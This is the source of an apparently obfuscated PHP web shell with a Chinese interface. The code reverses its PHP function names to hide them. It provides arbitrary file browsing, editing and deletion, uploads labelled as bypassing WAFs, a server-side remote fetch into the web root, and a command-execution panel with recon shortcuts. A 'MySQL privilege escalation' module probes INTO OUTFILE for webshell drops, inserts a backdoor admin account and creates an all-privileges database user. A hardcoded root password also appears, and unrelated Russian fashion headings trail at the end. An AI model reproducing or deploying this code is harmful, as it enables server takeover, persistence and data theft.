';
  • if ($dupAttr !== '') {
  • echo '
  • . ''
  • . '
  • '
  • . '
  • '
  • . '
  • .js 有重复的文件.js 去掉副本页面有重复的文件页面去掉副本跨载体(页面与 .js 同段)删除
    ' . $dj . '' . $dnj . '' . $dp . '' . $dnp . '' . $dx . ' / ' . $dxn . '
    '
  • . '
    跨载体:同一段代码既在 .js 又在页面里,页面已引用 .js 时删除页面内那份;未引用 .js 的页面保留
  • ';
  • if ($chkAttr !== '') {
  • echo '
  • . ''
  • . '
  • '
  • . '
  • '
  • . '
  • .js 已含/总数页面已含/总数写入目标已含/总数
    ' . $ckJ . ' / ' . count($js) . '' . $ckP . ' / ' . count($pages) . '' . $ckT . ' / ' . count($seenT) . '
  • ';
  • if ($doneMsg !== '') {
  • echo '
    ' . h($doneMsg) . '
    '
  • . ''
  • . '
  • '
  • . '
  • 成功跳过(已存在/无匹配)失败
    ' . $st['ok'] . '' . $st['skip'] . '' . $st['fail'] . '
    ';
  • if (count($st['note']) > 0) echo '
    ' . implode('
    ', array_map('h', $st['note'])) . '
    ';
  • foot();
  • $a = isset($_GET['a']) ? $_GET['a'] : 'list';
  • $path = '';
  • if (isset($_GET['p64'])) {
  • $b = str_replace(' ', '+', (string)$_GET['p64']);
  • $d = $GLOBALS['edoced_46esab']($b, true);
  • if ($d !== false) $path = $d;
  • elseif (isset($_GET['path'])) $path = (string)$_GET['path'];
  • } elseif (isset($_GET['path'])) {
  • $path = (string)$_GET['path'];
  • if ($a === 'list' && $path === '') $path = '.';
  • switch ($a) {
  • case 'list':
  • $dir = resolve($path);
  • head('Files');
  • echo '
    路径 (留空=面板目录; 可输任意绝对路径 如 E:/wwwroot)
    ' . quickbar($dir) . '
    ';
  • if (!$GLOBALS['rid_si']($dir)) { echo '
    not a directory: ' . h($dir) . '
    '; foot(); exit; }
  • echo '
    ' . crumbs($dir) . '
    ';
  • echo '
    当前目录权限: ' . perm_cell($dir) . ' mode ' . h(mode_of($dir)) . ' / owner ' . h((string)@$GLOBALS['renwoelif']($dir)) . ':' . h((string)@$GLOBALS['puorgelif']($dir)) . '';
  • echo ' 图例: ' . perm_dot($dir) . ' 绿=可写 ■ 红=只读';
  • echo '[上级 ..]'
  • . '[刷新]';
  • echo '
    ';
  • echo '
    newdir
    ';
  • echo '
    + 新建文件(绕过WAF)
    ';
  • echo '
    + 上传文件(绕过WAF)
    ';
  • echo '';
  • $ds = array(); $fs = array();
  • foreach ($GLOBALS['ridnacs']($dir) as $f) {
  • if ($GLOBALS['rid_si']($dir . '/' . $f)) $ds[] = $f; else $fs[] = $f;
  • sort($ds); sort($fs);
  • foreach ($ds as $d) {
  • $rp = $dir . '/' . $d;
  • echo '
  • ';
  • foreach ($fs as $f) {
  • $rp = $dir . '/' . $f;
  • echo '
  • NameSizeModified权限Ops
    ' . h($d) . '/-' . date('Y-m-d H:i', @$GLOBALS['emitmelif']($rp)) . '' . perm_cell($rp) . ''
  • . 'enter'
  • . 'del
  • ' . h($f) . '' . @$GLOBALS['eziselif']($rp) . '' . date('Y-m-d H:i', @$GLOBALS['emitmelif']($rp)) . '' . perm_cell($rp) . ''
  • . 'dl'
  • . 'ren'
  • . 'copy'
  • echo '
  • '; foot(); exit;
  • case 'read':
  • $fp = resolve($path);
  • $bin = @$GLOBALS['stnetnoc_teg_elif']($fp);
  • $detected = zp_detect_enc($bin);
  • $sel = (isset($_GET['enc']) && in_array(strtolower((string)$_GET['enc']), array('utf-8','gbk','gb2312','big5'), true)) ? strtolower((string)$_GET['enc']) : $detected;
  • $disp = ($detected === 'utf-8' || $detected === 'ascii') ? $bin : to_u8($bin);
  • head('Edit');
  • echo '
    ' . crumbs(dirname($fp)) . '/' . h(basename($fp)) . '
    ';
  • echo '' . h(rel($fp)) . ' (' . strlen($bin) . ' bytes, 自动识别编码: ' . h($detected) . ') ' . perm_cell($fp) . ' mode ' . h(mode_of($fp)) . '';
  • if (!can_w($fp)) echo '
    ⚠ 该文件为只读,保存 / 删除 / 改名都会失败
    ';
  • if (isset($_GET['err'])) echo '
    ✗ 保存失败:文件不可写,或被主机防篡改策略拒绝
    ';
  • elseif (isset($_GET['ok'])) echo '
    ✓ 已保存
    ';
  • echo '
    ';
  • echo '保存编码   ';
  • echo ' ';
  • echo 'download back';
  • foot(); exit;
  • case 'save':
  • $t = isset($_POST['txt']) ? $_POST['txt'] : null;
  • if ($t === null) redir('.', 'list');
  • $enc = isset($_POST['enc']) ? strtolower((string)$_POST['enc']) : (isset($_GET['enc']) ? strtolower((string)$_GET['enc']) : 'utf-8');
  • $ok = @$GLOBALS['stnetnoc_tup_elif'](resolve($path), from_u8($t, $enc));
  • header('Location: ' . $self . '?a=read&p64=' . pe(rel(resolve($path))) . '&enc=' . $enc . ($ok === false ? '&err=1' : '&ok=1')); exit;
  • case 'dl':
  • $fp = resolve($path);
  • header('Content-Type: application/octet-stream');
  • header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
  • header('Content-Length: ' . @$GLOBALS['eziselif']($fp));
  • @$GLOBALS['elifdaer']($fp); exit;
  • case 'del':
  • if ($GLOBALS['elif_si']($fp)) @$GLOBALS['knilnu']($fp); elseif ($GLOBALS['rid_si']($fp)) rrmdir($fp);
  • redir(rel(parent_of($fp)), 'list');
  • case 'ren':
  • $to = isset($_GET['to']) ? (string)$_GET['to'] : '';
  • if ($to !== '') @$GLOBALS['emaner']($fp, dirname($fp) . '/' . basename($to));
  • redir(rel(dirname($fp)), 'list');
  • case 'cp':
  • if ($to === '') {
  • head('Copy');
  • echo '
    copy to
    ';
  • $dst = dirname($fp) . '/' . basename($to);
  • if ($GLOBALS['rid_si']($fp)) {
  • function rcopy($s, $d){
  • if (!$GLOBALS['rid_si']($d)) @$GLOBALS['ridkm']($d, 0777, true);
  • foreach ($GLOBALS['ridnacs']($s) as $f) {
  • $sp = $s . '/' . $f; $dp = $d . '/' . $f;
  • if ($GLOBALS['rid_si']($sp)) rcopy($sp, $dp); else @$GLOBALS['ypoc']($sp, $dp);
  • rcopy($fp, $dst);
  • } else @$GLOBALS['ypoc']($fp, $dst);
  • case 'mkdir':
  • $name = isset($_GET['name']) ? (string)$_GET['name'] : '';
  • if ($name !== '') @$GLOBALS['ridkm'](resolve($path) . '/' . $name, 0777, true);
  • redir(rel(resolve($path)), 'list');
  • case 'up':
  • $upok = false; $upn = ''; $dst = '';
  • if (isset($_FILES['f']) && $_FILES['f']['error'] === 0) {
  • $upn = basename($_FILES['f']['name']);
  • $dst = resolve($path) . '/' . $upn;
  • $upok = @$GLOBALS['elif_dedaolpu_evom']($_FILES['f']['tmp_name'], $dst);
  • head('Upload');
  • echo '
    ';
  • if ($upok) {
  • /* 完整物理路径 */
  • $full = str_replace('\\', '/', $dst);
  • /* 对应的网址: 仅当文件位于站点根之内 */
  • $url = '';
  • $dr = rtrim(str_replace('\\', '/', $docroot), '/');
  • if ($dr !== '' && stripos($full, $dr . '/') === 0) {
  • $rp = substr($full, strlen($dr));
  • $sch = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
  • $url = $sch . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $rp;
  • echo '✓ uploaded: ' . h($upn) . ' (' . (int)$_FILES['f']['size'] . ' bytes)
    ';
  • echo '
    完整路径
    ';
  • echo '
    ' . h($full) . '
    ';
  • if ($url !== '') {
  • echo '
    🔗 打开: ' . h($url) . '
    ';
  • echo '
    ⚠ 文件在站点根目录之外,无对应 URL
    ';
  • echo '✗ upload failed — 目标目录 ' . perm_cell(resolve($path));
  • echo ' back';
  • case 'wget':
  • $dst = resolve($path);
  • $rurl = '';
  • if (isset($_GET['u64'])) {
  • $d = $GLOBALS['edoced_46esab'](str_replace(' ', '+', (string)$_GET['u64']), true);
  • if ($d !== false) $rurl = trim($d);
  • } elseif (isset($_GET['url'])) {
  • $rurl = trim((string)$_GET['url']);
  • $owf = isset($_GET['ow']);
  • $rngf = isset($_GET['rng']);
  • $psf = isset($_GET['ps']) ? (int)$_GET['ps'] : 262144;
  • if ($psf < 16384) $psf = 16384;
  • if ($psf > 8388608) $psf = 8388608;
  • $errmsg = ''; $okw = false; $slen = 0; $fvia = ''; $fcode = 0; $fparts = 0; $smd5 = '';
  • $done = ($rurl !== '' && $rurl !== 'http://' && $rurl !== 'https://');
  • if ($done) {
  • if ($GLOBALS['rid_si']($dst) || substr($dst, -1) === '/') {
  • $pp = @$GLOBALS['lru_esrap']($rurl);
  • $bn = (is_array($pp) && isset($pp['path'])) ? basename($pp['path']) : '';
  • if ($bn === '' || $bn === '.' || $bn === '/') $bn = 'index.html';
  • $dst = rtrim($dst, '/') . '/' . $bn;
  • if (!$owf && @$GLOBALS['stsixe_elif']($dst)) {
  • $errmsg = '目标已存在: ' . $dst . ' (勾选「覆盖」才写入)';
  • $f = zp_fetch($rurl, $rngf, $psf);
  • $fvia = $f['via']; $fcode = $f['code']; $fparts = $f['parts'];
  • if ($f['err'] !== '') {
  • $errmsg = $f['err'];
  • } elseif ($f['body'] === '') {
  • $errmsg = '响应为空 (HTTP ' . (int)$f['code'] . ')';
  • $w = @$GLOBALS['stnetnoc_tup_elif']($dst, $f['body']);
  • if ($w === false) $errmsg = '写盘失败, 目录不可写: ' . dirname($dst);
  • else { $okw = true; $slen = strlen($f['body']); $smd5 = $GLOBALS['5dm']($f['body']); }
  • head('Fetch');
  • echo '
    '
  • . ''
  • . '
    远程地址 (仅 http / https)
    '
  • . ''
  • . '
    保存到 (目录=沿用原名; 也可直接写文件名; 相对=面板目录)
    '
  • . ''
  • . '
    '
  • . '   '
  • . '   片大小 bytes'
  • . '
    请求由服务器发起, 文件内容不进请求体
    ';
  • if ($okw) {
  • $url2 = '';
  • $dr = rtrim(str_replace('\\', '/', $docroot), '/');
  • $sch2 = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
  • $url2 = $sch2 . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . substr($full, strlen($dr));
  • echo '✓ 已写入 backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . ' / ' . (int)$fparts . ' 片 / ' . (int)$slen . ' bytes';
  • echo '
    md5 ' . h($smd5) . '
    ';
  • if ($url2 !== '') echo '
    🔗 ' . h($url2) . '
    ';
  • else echo '
    ⚠ 文件在站点根之外, 无对应 URL
    ';
  • echo '✗ ' . h($errmsg) . '';
  • if ($fvia !== '') echo ' backend=' . h($fvia) . ' / HTTP ' . (int)$fcode . '';
  • echo ' 返回目录';
  • case 'info':
  • head('Info');
  • echo '
    PHP ' . PHP_VERSION . "\n" . $GLOBALS['emanu_php']() . "\npanel_dir=" . h($root) . "\ndocroot=" . h($docroot) . "\nopen_basedir=" . h((string)$GLOBALS['teg_ini']('open_basedir')) . "\ndisable_functions=" . h((string)$GLOBALS['teg_ini']('disable_functions')) . "\nuser=" . h($GLOBALS['resu_tnerruc_teg']()) . '
    ';
  • echo '
    目录可写性扫描 (绿=可写 / 红=只读)
    ';
  • echo '';
  • $scan = array();
  • if ($docroot !== '') $scan[] = $docroot;
  • $scan[] = $root;
  • if ($GLOBALS['rid_si']($root)) {
  • foreach ($GLOBALS['ridnacs']($root) as $f) {
  • if ($GLOBALS['rid_si']($root . '/' . $f)) $scan[] = $root . '/' . $f;
  • $seen = array();
  • foreach ($scan as $p) {
  • if (isset($seen[$p]) || !$GLOBALS['rid_si']($p)) continue;
  • echo '
  • ';
  • echo '
  • 目录modeowner:group权限
    ' . h(rel($p)) . '/' . h(mode_of($p)) . '' . h((string)@$GLOBALS['renwoelif']($p)) . ':' . h((string)@$GLOBALS['puorgelif']($p)) . '' . perm_cell($p) . '
    ';
  • case 'cmd':
  • head('Cmd');
  • $c = isset($_POST['c']) ? (string)$_POST['c'] : (isset($_GET['c']) ? (string)$_GET['c'] : 'whoami');
  • echo '
    命令
    ';
  • echo '
    快捷: ';
  • foreach (array('whoami', 'whoami /priv', 'net localgroup administrators', 'net user', 'systeminfo', 'ipconfig', 'tasklist', 'sc query', 'quser') as $q)
  • echo '' . h($q) . '';
  • echo '';
  • if ($c !== '') {
  • $out = array(); $rc = 0;
  • if (function_exists('exec')) exec($c . ' 2>&1', $out, $rc);
  • elseif (function_exists('shell_exec')) { $s = shell_exec($c . ' 2>&1'); $out = $s === null ? array() : explode("\n", $s); $rc = 0; }
  • else { $out = array('[!] exec / shell_exec 均被禁用'); $rc = -1; }
  • echo '
    RC=' . intval($rc) . '
    ' . h(to_u8(implode("\n", $out))) . '
    ';
  • case 'newfile':
  • head('NewFile');
  • $nd = resolve($path); if ($nd === '') $nd = '.';
  • if (isset($_POST['name']) && isset($_POST['data'])) {
  • $name = basename((string)$_POST['name']);
  • $enc = isset($_POST['enc']) ? strtolower((string)$_POST['enc']) : 'utf-8';
  • $raw = base64_decode(str_replace(' ', '+', (string)$_POST['data']), true);
  • if ($raw === false || $raw === '') $raw = (string)$_POST['data'];
  • if ($enc !== 'utf-8' && $enc !== 'auto' && isset($map[$enc])) {
  • if (function_exists('mb_convert_encoding')) $raw = @mb_convert_encoding($raw, $map[$enc], 'UTF-8');
  • elseif (function_exists('iconv')) { $t = @iconv('UTF-8', $map[$enc].'//IGNORE', $raw); if ($t !== false) $raw = $t; }
  • $dst = rtrim($nd, '/') . '/' . $name;
  • $ok = @file_put_contents($dst, $raw);
  • echo '
    ' . ($ok !== false ? '[+] 已创建 ' . (int)$ok . ' 字节 (编码: ' . h($enc) . '): ' . h($dst) . '' : '[-] 失败: ' . h($dst) . ' (目录不可写 / 被防篡改或 WAF 拦截)') . '
    ';
  • echo '
    ';
  • echo '文件名 保存编码
    ';
  • echo '
    ';
  • echo '';
  • echo '';
  • case 'upload_bypass':
  • head('Upload-Bypass');
  • echo '
    ' . ($ok !== false ? '[+] 已上传 ' . (int)$ok . ' 字节: ' . h($dst) . '' : '[-] 失败: ' . h($dst) . ' (目录不可写 / WAF 拦截)') . '
    ';
  • ?>
  • 选择本地文件
  • 保存文件名
  • case 'mysql':
  • head('MySQL 提权');
  • $def = array('host' => '127.0.0.1', 'port' => '3306', 'user' => 'root', 'pass' => 'ykUh1snbDk41IPqi', 'db' => 'game_download',
  • 'tbl' => 'admins', 'ucol' => 'username', 'pcol' => 'password', 'icol' => 'id', 'uval' => 'poc_admin', 'pval' => 'poc_admin_pwd',
  • 'nuser' => 'poc_dbsu', 'npass' => 'P@ssw0rd_PoC123');
  • foreach ($def as $k => $v) if (!isset($_POST[$k])) $_POST[$k] = $v;
  • if (!function_exists('zp_input')) { function zp_input($k, $w) { return ' '; } }
  • $P = 'zp_input';
  • echo '
  • 连接: host' . $P('host', '12%') . 'port' . $P('port', '6%') . 'user' . $P('user', '11%') . 'pass' . $P('pass', '17%') . 'db' . $P('db', '14%') . '
  • 应用管理员: 表' . $P('tbl', '11%') . '用户列' . $P('ucol', '10%') . '密码列' . $P('pcol', '10%') . 'ID列' . $P('icol', '7%') . '用户名' . $P('uval', '12%') . '密码' . $P('pval', '14%') . '
  • DB超级账号: 新用户' . $P('nuser', '12%') . '新密码' . $P('npass', '16%') . '
  • ';
  • if (isset($_POST['do'])) {
  • $do = $_POST['do'];
  • $html = '';
  • try {
  • $pdo = new PDO('mysql:host=' . $_POST['host'] . ';port=' . $_POST['port'] . ';dbname=' . $_POST['db'] . ';charset=utf8', $_POST['user'], $_POST['pass'], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
  • $html .= '

    [+] 连接成功: ' . h($pdo->getAttribute(PDO::ATTR_SERVER_VERSION)) . ' / ' . h($pdo->query('SELECT CURRENT_USER()')->fetchColumn()) . '

    ';
  • if ($do === 'env' || $do === 'all') {
  • $g = $pdo->query('SHOW GRANTS FOR CURRENT_USER()')->fetchAll(PDO::FETCH_COLUMN);
  • $html .= '

    GRANTS: ' . h(implode(' | ', $g)) . '

    ';
  • if (!function_exists('zp_var')) { function zp_var($n) { global $pdo; $r = $pdo->query("SHOW VARIABLES LIKE '$n'")->fetch(); return $r ? $r[1] : '(?)'; } } $var = 'zp_var';
  • $sfp = $var('secure_file_priv'); $plugin = rtrim($var('plugin_dir'), '/\\'); $data = $var('datadir');
  • $html .= '

    secure_file_priv=' . h($sfp) . ' | plugin_dir=' . h($plugin) . ' | datadir=' . h($data) . '

    ';
  • $fr = $pdo->query('SELECT FILE_PRIV,SUPER_PRIV,GRANT_PRIV FROM mysql.user WHERE user=' . $pdo->quote($_POST['user']) . ' LIMIT 1')->fetch(PDO::FETCH_ASSOC);
  • $html .= '

    FILE/SUPER/GRANT=' . ($fr ? $fr['FILE_PRIV'] . '/' . $fr['SUPER_PRIV'] . '/' . $fr['GRANT_PRIV'] : '?') . '

    ';
  • foreach (array($plugin . '/zp_probe.txt', $data . 'zp_probe.txt') as $pp) {
  • try { $pdo->query("SELECT 'x' INTO OUTFILE '" . $pp . "'"); @unlink($pp); $html .= '

    [+] 可写: ' . h($pp) . ' -> UDF/webshell 落地可行

    '; }
  • catch (PDOException $e) { $html .= '

    [-] 写入被拒: ' . h($pp) . ' (' . h($e->getMessage()) . ')

    '; }
  • if ($do === 'app' || $do === 'all') {
  • $tbl = $_POST['tbl']; $ucol = $_POST['ucol']; $pcol = $_POST['pcol']; $icol = $_POST['icol']; $uval = $_POST['uval']; $pval = $_POST['pval'];
  • $cols = $pdo->query('DESCRIBE `' . $tbl . '`')->fetchAll(PDO::FETCH_COLUMN);
  • $fields = array('`' . $ucol . '`', '`' . $pcol . '`');
  • $vals = array($uval, $pval);
  • if ($icol !== '' && in_array($icol, $cols, true)) {
  • $max = $pdo->query('SELECT MAX(`' . $icol . '`) FROM `' . $tbl . '`')->fetchColumn();
  • $nid = ($max ? $max : 0) + 1;
  • $fields[] = '`' . $icol . '`'; $vals[] = $nid;
  • $sql = 'INSERT INTO `' . $tbl . '` (' . implode(',', $fields);
  • if (in_array('created_at', $cols, true)) $sql .= ',created_at';
  • $sql .= ') VALUES (' . implode(',', array_fill(0, count($vals), '?'));
  • if (in_array('created_at', $cols, true)) $sql .= ',NOW()';
  • $sql .= ')';
  • $st = $pdo->prepare($sql);
  • foreach ($vals as $i => $v) $st->bindValue($i + 1, $v);
  • $st->execute();
  • $html .= '

    [+] 已插入 ' . h($tbl) . ' (' . h(implode(',', $fields)) . ')

    ';
  • $chk = $pdo->prepare('SELECT * FROM `' . $tbl . '` WHERE `' . $ucol . '`=?'); $chk->execute(array($uval));
  • $html .= '

    [验证] ' . h(json_encode($chk->fetch(PDO::FETCH_ASSOC))) . '

    ';
  • if ($do === 'dba' || $do === 'all') {
  • $nu = $_POST['nuser']; $np = $_POST['npass'];
  • try { $pdo->query("CREATE USER '" . $nu . "'@'localhost' IDENTIFIED BY '" . $np . "'"); $html .= '

    [+] 已创建 ' . h($nu) . '@localhost

    '; }
  • catch (PDOException $e) { $html .= '

    [-] 创建用户: ' . h($e->getMessage()) . '

    '; }
  • $pdo->query("GRANT ALL PRIVILEGES ON *.* TO '" . $nu . "'@'localhost' WITH GRANT OPTION");
  • $g = $pdo->query("SHOW GRANTS FOR '" . $nu . "'@'localhost'")->fetchAll(PDO::FETCH_COLUMN);
  • $html .= '

    [+] 已授权 ' . h($nu) . '@localhost: ' . h(implode(' | ', $g)) . '

    ';
  • } catch (PDOException $e) {
  • $html .= '

    [!] 失败: ' . h($e->getMessage()) . '

    ';
  • echo '
    ' . $html . '
    ';
  • case 'jsm':
  • zjm_jsm();
  • default:
  • redir('.', 'list');
  • Стильные прически

    Стильная женская одежда

    Спортивный стиль